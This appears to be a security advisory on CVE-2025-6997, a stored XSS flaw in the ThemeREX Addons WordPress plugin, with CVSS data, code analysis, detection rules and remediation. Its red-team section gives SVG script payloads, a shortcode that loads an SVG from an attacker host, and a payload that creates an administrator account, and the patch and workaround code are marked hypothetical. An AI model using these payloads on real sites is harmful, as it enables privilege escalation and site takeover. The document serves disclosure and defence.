CVE-2025-6997

Executive Summary

CVE-2025-6997 is a Stored Cross-Site Scripting (XSS) vulnerability in the ThemeREX Addons WordPress plugin, affecting all versions up to and including 2.35.1.1. The flaw resides in the plugin’s SVG file handling routine, specifically within the trx_addons_get_svg_from_file() function. An authenticated attacker with Contributor-level access or higher can supply a malicious remote SVG file via the shortcode or Elementor widget settings. Due to insufficient input sanitization and output escaping, the SVG content is rendered unsafely, allowing arbitrary JavaScript execution in the context of any user viewing the affected page.

This vulnerability is particularly dangerous in multi-author WordPress environments where contributors can inject persistent XSS payloads that target higher-privileged users (e.g., Administrators). The attack can lead to session hijacking, credential theft, or complete site compromise.

Supply Chain & Package Security

This vulnerability affects the ThemeREX Addons WordPress plugin, distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin installation and monitor for official patches. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (victim must view the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and site takeover in a WordPress context elevates the real-world risk.

Deep Dive & Mechanics

The vulnerability is rooted in the plugin’s SVG rendering pipeline. The trx_addons_get_svg_from_file() function is called with an unvalidated svg parameter, which can be a URL pointing to an external SVG file. The function fetches the SVG content and passes it to trx_addons_show_layout(), which outputs the content without proper escaping.

Key Code Path:

1. User (Contributor+) inserts a shortcode or Elementor widget with a malicious svg parameter.
2. The plugin calls trx_addons_get_svg_from_file( $svg_url ).
3. This function fetches the SVG from the provided URL (no origin or scheme validation).
4. The raw SVG content is returned and passed to trx_addons_show_layout().
5. trx_addons_show_layout() outputs the SVG directly into the DOM, allowing embedded JavaScript to execute.

Why it works: SVG files can contain <script> tags or event handlers (e.g., onload). Since the plugin does not sanitize the SVG content, an attacker can craft an SVG that executes arbitrary JavaScript when rendered.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.35.1.1):

// In shortcode handler
$svg_url = $atts['svg'];
$svg_content = trx_addons_get_svg_from_file( $svg_url );
trx_addons_show_layout( $svg_content );

Patched Code (Hypothetical):

// Validate URL origin and scheme
$allowed_hosts = array( $_SERVER['HTTP_HOST'] );
$parsed_url = parse_url( $svg_url );
if ( ! in_array( $parsed_url['host'], $allowed_hosts ) ) {
    return;
}
// Sanitize SVG content
$svg_content = trx_addons_get_svg_from_file( $svg_url );
$svg_content = wp_kses( $svg_content, array(
    'svg' => array(
        'xmlns' => array(),
        'viewBox' => array(),
        // Allow only safe attributes
    ),
    'path' => array( 'd' => array() ),
    // ... other safe elements
) );
trx_addons_show_layout( $svg_content );

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress site with ThemeREX Addons <= 2.35.1.1
• Contributor-level account or higher

Step 1: Craft Malicious SVG Create an SVG file hosted on an attacker-controlled server:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
  <script>alert('XSS')</script>
</svg>

Step 2: Inject via Shortcode As a Contributor, create a new post/page and insert the shortcode:

[trx_addons_svg svg="http://attacker.com/malicious.svg"]

Step 3: Trigger Execution When an Administrator or any user views the post, the SVG is fetched and rendered, executing the JavaScript payload.

Advanced Payload:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    fetch('/wp-admin/admin-ajax.php?action=add_admin&user=attacker&pass=evil')
  </script>
</svg>

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor for shortcode usage with external svg parameters.
• Inspect SVG file uploads for embedded scripts.
• Use WAF rules to block external SVG URLs in shortcode parameters.

Honeypot: Deploy a fake Contributor account and monitor for any shortcode containing svg= with an external URL.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from WordPress server (SVG fetch).
• File System: Presence of unexpected SVG files in uploads directory.
• Logs: WordPress debug logs showing trx_addons_get_svg_from_file() calls with external URLs.
• Database: Posts/pages containing shortcodes with svg parameter pointing to external URLs.

Example IOC:

[trx_addons_svg svg="http://malicious.example.com/evil.svg"]

Detection Engineering

YARA Rule

rule Detect_Malicious_SVG_Shortcode {
    meta:
        description = "Detects malicious SVG shortcode usage in WordPress posts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6997"
    strings:
        $shortcode = /\[trx_addons_svg\s+svg\s*=\s*["']https?:\/\/[^"']+\.svg["']/
        $svg_script = /<svg[^>]*>.*?<script[^>]*>.*?<\/script>/si
    condition:
        $shortcode or $svg_script
}

Sigma Rule

title: CVE-2025-6997 - Stored XSS via SVG in ThemeREX Addons
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit Stored XSS via SVG file upload in ThemeREX Addons plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/wp-content/plugins/trx_addons/'
        cs-uri-query|contains: 'svg='
    condition: selection
falsepositives:
    - Legitimate use of external SVG files
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-6997 - ThemeREX Addons SVG XSS Outbound Fetch";
    flow:to_server;
    content:"/wp-content/plugins/trx_addons/"; http_uri;
    content:"svg="; http_uri;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for business operations.
2. Restrict Contributor roles from using shortcodes/Elementor widgets that accept svg parameters.
3. Implement a WAF rule to block requests containing svg= with external URLs.

Long-term Fix:

• Apply the official patch once released by ThemeREX.
• If no patch is available, manually modify the plugin code to:
  • Validate the svg parameter origin (only allow same-host URLs).
  • Sanitize SVG content using wp_kses() with a whitelist of safe elements and attributes.
  • Use esc_url() and wp_http_validate_url() before fetching.

Workaround: Add the following code to the theme's functions.php to block external SVG URLs:

add_filter( 'trx_addons_filter_svg_url', function( $url ) {
    $parsed = parse_url( $url );
    if ( $parsed['host'] !== $_SERVER['HTTP_HOST'] ) {
        return '';
    }
    return $url;
});

Valters IT
Securing Digital Frontiers